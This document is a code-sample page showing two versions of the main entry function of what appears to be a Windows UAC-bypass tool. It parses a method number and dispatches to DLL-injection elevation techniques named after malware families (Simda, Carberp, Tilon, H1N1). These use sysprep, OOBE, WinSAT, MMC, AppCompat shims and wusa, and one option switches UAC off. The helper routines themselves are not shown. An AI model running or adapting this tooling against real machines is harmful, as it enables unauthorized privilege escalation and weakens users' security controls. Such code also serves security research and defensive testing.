Beispiel #1
0
/*
* ucmMain
*
* Purpose:
*
* Program entry point.
*
*/
UINT ucmMain()
{
	DWORD                   bytesIO, dwType, paramLen;
	WCHAR                   *p;
	WCHAR                   szBuffer[MAX_PATH + 1];
	TOKEN_ELEVATION_TYPE    ElevType;


	if (ucmInit() != ERROR_SUCCESS) {
		return ERROR_INTERNAL_ERROR;
	}

	//query windows version
	if (!supIsWindowsVersionOrGreater(HIBYTE(_WIN32_WINNT_WIN7), LOBYTE(_WIN32_WINNT_WIN7), 0)) {
		ucmShowMessage(TEXT("This Windows is unsupported."));
		return ERROR_NOT_SUPPORTED;
	}

	ElevType = TokenElevationTypeDefault;
	if (!supGetElevationType(&ElevType)) {
		return ERROR_INVALID_ACCESS;
	}

	if (ElevType != TokenElevationTypeLimited) {
		ucmShowMessage(TEXT("Admin account with limited token required."));
		return ERROR_NOT_SUPPORTED;
	}

	dwType = 0;
	bytesIO = 0;
	RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
	GetCommandLineParam(GetCommandLine(), 1, szBuffer, MAX_PATH, &bytesIO);
	if (bytesIO == 0) {
		return ERROR_INVALID_DATA;
	}
	
	dwType = strtoul(szBuffer);
	switch (dwType) {

	case METHOD_SYSPREP1://cryptbase
		if (g_ldp.osver.dwBuildNumber > 9200) {
			if (ucmShowQuestion(UACFIX) == IDNO)
				return ERROR_UNSUPPORTED_TYPE;
		}
		break;

	case METHOD_SYSPREP2://shcore
		if (g_ldp.osver.dwBuildNumber != 9600) {
			if (ucmShowQuestion(UACFIX) == IDNO)
				return ERROR_UNSUPPORTED_TYPE;
		}
		break;

	case METHOD_SYSPREP3://dbgcore
		if (g_ldp.osver.dwBuildNumber != 10240)	{
			if (ucmShowQuestion(UACFIX) == IDNO)
				return ERROR_UNSUPPORTED_TYPE;
		}
		break;

	case METHOD_OOBE://oobe service
		if (g_ldp.osver.dwBuildNumber >= 10548) {
			if (ucmShowQuestion(UACFIX) == IDNO)
				return ERROR_UNSUPPORTED_TYPE;
		}
		break;

	case METHOD_REDIRECTEXE:
		if (g_ldp.osver.dwBuildNumber > 9600) {
			if (ucmShowQuestion(UACFIX) == IDNO)
				return ERROR_UNSUPPORTED_TYPE;
		}

#ifdef _WIN64
		ucmShowMessage(WOW64WIN32ONLY);
		return ERROR_UNSUPPORTED_TYPE;
#endif
		break;

	case METHOD_SIMDA:
		if (g_ldp.osver.dwBuildNumber >= 10136) {
			if (ucmShowQuestion(UACFIX) == IDNO)
				return ERROR_UNSUPPORTED_TYPE;
		}
		break;

	case METHOD_CARBERP:
		if (g_ldp.osver.dwBuildNumber >= 10147) {
			if (ucmShowQuestion(UACFIX) == IDNO)
				return ERROR_UNSUPPORTED_TYPE;
		}
		break;

	case METHOD_CARBERP_EX:
		if (g_ldp.osver.dwBuildNumber >= 10147) {
			if (ucmShowQuestion(UACFIX) == IDNO)
				return ERROR_UNSUPPORTED_TYPE;
		}
		break;

	case METHOD_TILON:
		if (g_ldp.osver.dwBuildNumber > 9200) {
			if (ucmShowQuestion(UACFIX) == IDNO)
				return ERROR_UNSUPPORTED_TYPE;
		}
		break;

	case METHOD_AVRF:
		if (g_ldp.osver.dwBuildNumber >= 10136) {
			if (ucmShowQuestion(UACFIX) == IDNO)
				return ERROR_UNSUPPORTED_TYPE;
		}
		break;

	case METHOD_WINSAT:
		if (g_ldp.osver.dwBuildNumber >= 10548) {
			if (ucmShowQuestion(UACFIX) == IDNO)
				return ERROR_UNSUPPORTED_TYPE;
		}
		break;

	case METHOD_SHIMPATCH:
		if (g_ldp.osver.dwBuildNumber > 9600) {
			if (ucmShowQuestion(UACFIX) == IDNO)
				return ERROR_UNSUPPORTED_TYPE;
		}

#ifdef _WIN64
		ucmShowMessage(WOW64WIN32ONLY);
		return ERROR_UNSUPPORTED_TYPE;
#endif		
		break;

	case METHOD_MMC:
		break;

	case METHOD_H1N1:
		if (g_ldp.osver.dwBuildNumber >= 10548) {
			if (ucmShowQuestion(UACFIX) == IDNO)
				return ERROR_UNSUPPORTED_TYPE;
		}
		break;

	case METHOD_GENERIC:
		break;

	}

	//prepare command for payload
	paramLen = 0;
	RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
	GetCommandLineParam(GetCommandLine(), 2, szBuffer, MAX_PATH, &paramLen);
	if (paramLen > 0) {
		if (dwType != METHOD_REDIRECTEXE) {
			supSetParameter((LPWSTR)&szBuffer, paramLen * sizeof(WCHAR));
		}
	}

	switch (dwType) {

	case METHOD_SYSPREP1:
	case METHOD_SYSPREP2:
	case METHOD_SYSPREP3:
	case METHOD_OOBE:
	case METHOD_TILON:

		//
		// Since we are using injection and not using heavens gate/syswow64, we should ban usage under wow64.
		//
#ifndef _DEBUG
		if (g_ldp.IsWow64) {
			ucmShowMessage(WOW64STRING);
			return ERROR_UNSUPPORTED_TYPE;
		}
#endif
		if (ucmStandardAutoElevation(dwType, (CONST PVOID)INJECTDLL, sizeof(INJECTDLL))) {
			OutputDebugString(TEXT("[UCM] Standard AutoElevation method called\n\r"));
		}
		break;

//
//  Allow only in 32 version.
//
#ifndef _WIN64
	case METHOD_REDIRECTEXE:
	case METHOD_SHIMPATCH:
		if (ucmAppcompatElevation(dwType, (CONST PVOID)INJECTDLL, sizeof(INJECTDLL), (paramLen != 0) ? szBuffer : NULL )) {
			OutputDebugString(TEXT("[UCM] AppCompat method called\n\r"));
		}
		break;
#endif
	case METHOD_SIMDA:

		//
		// Since we are using injection and not using heavens gate, we should ban usage under wow64.
		//
#ifndef _DEBUG
		if (g_ldp.IsWow64) {
			ucmShowMessage(WOW64STRING);
			return ERROR_UNSUPPORTED_TYPE;
		}
#endif
		if (MessageBox(GetDesktopWindow(),
			TEXT("This method will TURN UAC OFF, are you sure? You will need to reenable it after manually."),
			PROGRAMTITLE, MB_ICONQUESTION | MB_YESNO) == IDYES) 
		{
			if (ucmSimdaTurnOffUac()) {
				OutputDebugString(TEXT("[UCM] Simda method called\n\r"));
			}
		}
		break;

	case METHOD_CARBERP:
	case METHOD_CARBERP_EX:

		if (dwType == METHOD_CARBERP) {

			//there is no migmiz in syswow64 in 8+
			if ((g_ldp.IsWow64) && (g_ldp.osver.dwBuildNumber > 7601)) {
				ucmShowMessage(WOW64STRING);
				return ERROR_UNSUPPORTED_TYPE;
			}
		}

		if (dwType == METHOD_CARBERP_EX) {
#ifndef _DEBUG
			if (g_ldp.IsWow64) {
				ucmShowMessage(WOW64STRING);
				return ERROR_UNSUPPORTED_TYPE;
			}
#endif
		}

		if (ucmWusaMethod(dwType, (CONST PVOID)INJECTDLL, sizeof(INJECTDLL))) {
			OutputDebugString(TEXT("[UCM] Carberp method called\n\r"));
		}
		break;

	case METHOD_AVRF:
#ifndef _DEBUG
		if (g_ldp.IsWow64) {
			ucmShowMessage(WOW64STRING);
			return ERROR_UNSUPPORTED_TYPE;
		}
#endif
		if (ucmAvrfMethod((CONST PVOID)AVRFDLL, sizeof(AVRFDLL))) {
			OutputDebugString(TEXT("[UCM] AVrf method called\n\r"));
		}	
		break;

	case METHOD_WINSAT:
		//
		// Decoding WOW64 environment, turning wow64fs redirection is meeh. Just drop it as it just a test tool.
		//
		if (g_ldp.IsWow64) {
			ucmShowMessage(LAZYWOW64UNSUPPORTED);
			return ERROR_UNSUPPORTED_TYPE;
		}

		if (g_ldp.osver.dwBuildNumber < 9200) {
			p = L"powrprof.dll";
		}
		else {
			p = L"devobj.dll";
		}

		if (ucmWinSATMethod(p, (CONST PVOID)INJECTDLL, sizeof(INJECTDLL), (g_ldp.osver.dwBuildNumber <= 10136))) {
			OutputDebugString(TEXT("[UCM] WinSAT method called\n\r"));
		}
		break;

	case METHOD_MMC:
		if (g_ldp.IsWow64) {
			ucmShowMessage(WOW64STRING);
			return ERROR_UNSUPPORTED_TYPE;
		}
		p = L"elsext.dll";
		if (ucmMMCMethod(p, (CONST PVOID)INJECTDLL, sizeof(INJECTDLL))) {
			OutputDebugString(TEXT("[UCM] MMC method called\n\r"));
		}
		break;

	case METHOD_H1N1:
		if (g_ldp.IsWow64) {
			ucmShowMessage(WOW64STRING);
			return ERROR_UNSUPPORTED_TYPE;
		}

		if (ucmH1N1Method((CONST PVOID)INJECTDLL, sizeof(INJECTDLL))) {
			OutputDebugString(TEXT("[UCM] H1N1 method called\n\r"));
		}
		break;

	case METHOD_GENERIC:
		if (g_ldp.IsWow64) {
			ucmShowMessage(WOW64STRING);
			return ERROR_UNSUPPORTED_TYPE;
		}

		p = L"ntwdblib.dll";

		if (ucmGenericAutoelevation(
			METHOD_SQLSRV_TARGETAPP,
			p, 
			(CONST PVOID)INJECTDLL, sizeof(INJECTDLL))) 
		{
			OutputDebugString(TEXT("[UCM] Generic method called\n\r"));
		}
		break;

	}
	
	return ERROR_SUCCESS;
}
Beispiel #2
0
/*
* main
*
* Purpose:
*
* Program entry point.
*
*/
VOID main()
{
	BOOL					IsWow64 = FALSE;
	DWORD					bytesIO, dwType;
	WCHAR					*p;
	WCHAR					szBuffer[MAX_PATH + 1];
	TOKEN_ELEVATION_TYPE	ElevType;
	RTL_OSVERSIONINFOW		osver;

	//verify system version
	RtlSecureZeroMemory(&osver, sizeof(osver));
	osver.dwOSVersionInfoSize = sizeof(osver);
	RtlGetVersion(&osver);

	if (osver.dwBuildNumber < 7000) {

		MessageBox(GetDesktopWindow(),
			TEXT("Unsupported version"), PROGRAMTITLE, MB_ICONINFORMATION);

		goto Done;
	}

	ElevType = TokenElevationTypeDefault;
	if (!supGetElevationType(&ElevType)) {
		goto Done;
	}
	if (ElevType != TokenElevationTypeLimited) {
		MessageBox(GetDesktopWindow(), TEXT("Admin account with limited token required."), 
			PROGRAMTITLE, MB_ICONINFORMATION);
		goto Done;
	}

	IsWow64 = supIsProcess32bit(GetCurrentProcess());

	dwType = 0;
	bytesIO = 0;
	RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
	if (GetCommandLineParam(GetCommandLine(), 1, szBuffer, MAX_PATH, &bytesIO)) {

		dwType = strtoul(szBuffer);
		switch (dwType) {

		case METHOD_SYSPREP:
			OutputDebugString(TEXT("[UCM] Sysprep\n\r"));
			if (osver.dwBuildNumber > 9200) {
				MessageBox(GetDesktopWindow(), WINPREBLUE,
					PROGRAMTITLE, MB_ICONINFORMATION);
				goto Done;
			}
			break;

		case METHOD_SYSPREP_EX:
			OutputDebugString(TEXT("[UCM] Sysprep_ex\n\r"));
			if (osver.dwBuildNumber < 9600) {
				MessageBox(GetDesktopWindow(), WINBLUEONLY,
					PROGRAMTITLE, MB_ICONINFORMATION);
				goto Done;
			}
			break;

		case METHOD_OOBE:
			OutputDebugString(TEXT("[UCM] Oobe\n\r"));
			break;

		case METHOD_REDIRECTEXE:
			OutputDebugString(TEXT("[UCM] AppCompat RedirectEXE\n\r"));

#ifdef _WIN64
			MessageBox(GetDesktopWindow(), WOW64WIN32ONLY,
				PROGRAMTITLE, MB_ICONINFORMATION);
			goto Done;
#endif
			break;

		case METHOD_SIMDA:
			OutputDebugString(TEXT("[UCM] Simda\n\r"));
			break;

		case METHOD_CARBERP:
			OutputDebugString(TEXT("[UCM] Carberp\n\r"));
			break;

		case METHOD_CARBERP_EX:
			OutputDebugString(TEXT("[UCM] Carberp_ex\n\r"));
			break;

		case METHOD_TILON:
			OutputDebugString(TEXT("[UCM] Tilon\n\r"));
			if (osver.dwBuildNumber > 9200) {
				MessageBox(GetDesktopWindow(), WINPREBLUE,
					PROGRAMTITLE, MB_ICONINFORMATION);
				goto Done;
			}
			break;

		case METHOD_AVRF:
			OutputDebugString(TEXT("[UCM] AVrf\n\r"));
			break;

		case METHOD_WINSAT:
			OutputDebugString(TEXT("[UCM] WinSAT\n\r"));
			break;

		case METHOD_SHIMPATCH:
			OutputDebugString(TEXT("[UCM] AppCompat Shim Patch\n\r"));

#ifdef _WIN64
			MessageBox(GetDesktopWindow(), WOW64WIN32ONLY,
				PROGRAMTITLE, MB_ICONINFORMATION);
			goto Done;
#endif		
			break;

		}
	}


	switch (dwType) {

	case METHOD_SYSPREP:
	case METHOD_SYSPREP_EX:
	case METHOD_OOBE:
	case METHOD_TILON:

		//
		// Since we are using injection and not using heavens gate, we should ban usage under wow64.
		//
#ifndef _DEBUG
		if (IsWow64) {
			MessageBox(GetDesktopWindow(),
				WOW64STRING, PROGRAMTITLE, MB_ICONINFORMATION);
			goto Done;
		}
#endif
		if (ucmStandardAutoElevation(dwType, (CONST PVOID)INJECTDLL, sizeof(INJECTDLL))) {
			OutputDebugString(TEXT("[UCM] Standard AutoElevation method called\n\r"));
		}
		break;

//
//  Allow only in 32 version.
//
#ifndef _WIN64
	case METHOD_REDIRECTEXE:
	case METHOD_SHIMPATCH:
		if (ucmAppcompatElevation(dwType, (CONST PVOID)INJECTDLL, sizeof(INJECTDLL))) {
			OutputDebugString(TEXT("[UCM] AppCompat method called\n\r"));
		}
		break;
#endif
	case METHOD_SIMDA:

		//
		// Since we are using injection and not using heavens gate, we should ban usage under wow64.
		//
#ifndef _DEBUG
		if (IsWow64) {
			MessageBox(GetDesktopWindow(),
				WOW64STRING, PROGRAMTITLE, MB_ICONINFORMATION);
			goto Done;
		}
#endif
		if (MessageBox(GetDesktopWindow(),
			TEXT("This method will TURN UAC OFF, are you sure? You will need to reenable it after manually."),
			PROGRAMTITLE, MB_ICONQUESTION | MB_YESNO) == IDYES) 
		{
			if (ucmSimdaTurnOffUac()) {
				OutputDebugString(TEXT("[UCM] Simda method called\n\r"));
			}
		}
		break;

	case METHOD_CARBERP:
	case METHOD_CARBERP_EX:

		if (dwType == METHOD_CARBERP) {

			if (osver.dwBuildNumber > 9600) {
				MessageBox(GetDesktopWindow(),
					TEXT("This method is only for Windows 7/8/8.1"), PROGRAMTITLE, MB_ICONINFORMATION);
				goto Done;
			}

			//there is no migmiz in syswow64 in 8+
			if ((IsWow64) && (osver.dwBuildNumber > 7601)) {
				MessageBox(GetDesktopWindow(),
					WOW64STRING, PROGRAMTITLE, MB_ICONINFORMATION);
				goto Done;
			}
		}

		if (dwType == METHOD_CARBERP_EX) {
#ifndef _DEBUG
			if (IsWow64) {
				MessageBox(GetDesktopWindow(),
					WOW64STRING, PROGRAMTITLE, MB_ICONINFORMATION);
				goto Done;
			}
#endif
		}


		if (ucmWusaMethod(dwType, (CONST PVOID)INJECTDLL, sizeof(INJECTDLL))) {
			OutputDebugString(TEXT("[UCM] Carberp method called\n\r"));
		}
		break;

	case METHOD_AVRF:
#ifndef _DEBUG
		if (IsWow64) {
			MessageBox(GetDesktopWindow(),
				WOW64STRING, PROGRAMTITLE, MB_ICONINFORMATION);
			goto Done;
		}
#endif
		if (ucmAvrfMethod((CONST PVOID)AVRFDLL, sizeof(AVRFDLL))) {
			OutputDebugString(TEXT("[UCM] AVrf method called\n\r"));
		}	
		break;

	case METHOD_WINSAT:
		//
		// Decoding WOW64 environment, turning wow64fs redirection is meeh. Just drop it as it just a test tool.
		//
		if (IsWow64) {
			MessageBox(GetDesktopWindow(),
				TEXT("Use 32 bit version of this tool on 32 bit OS version"), PROGRAMTITLE, MB_ICONINFORMATION);
			goto Done;
		}

		if (osver.dwBuildNumber < 9200) {
			p = L"powrprof.dll";
		}
		else {
			p = L"devobj.dll";
		}

		if (ucmWinSATMethod(p, (CONST PVOID)INJECTDLL, sizeof(INJECTDLL))) {
			OutputDebugString(TEXT("[UCM] WinSAT method called\n\r"));
		}
		break;
	}

Done:
	ExitProcess(0);
}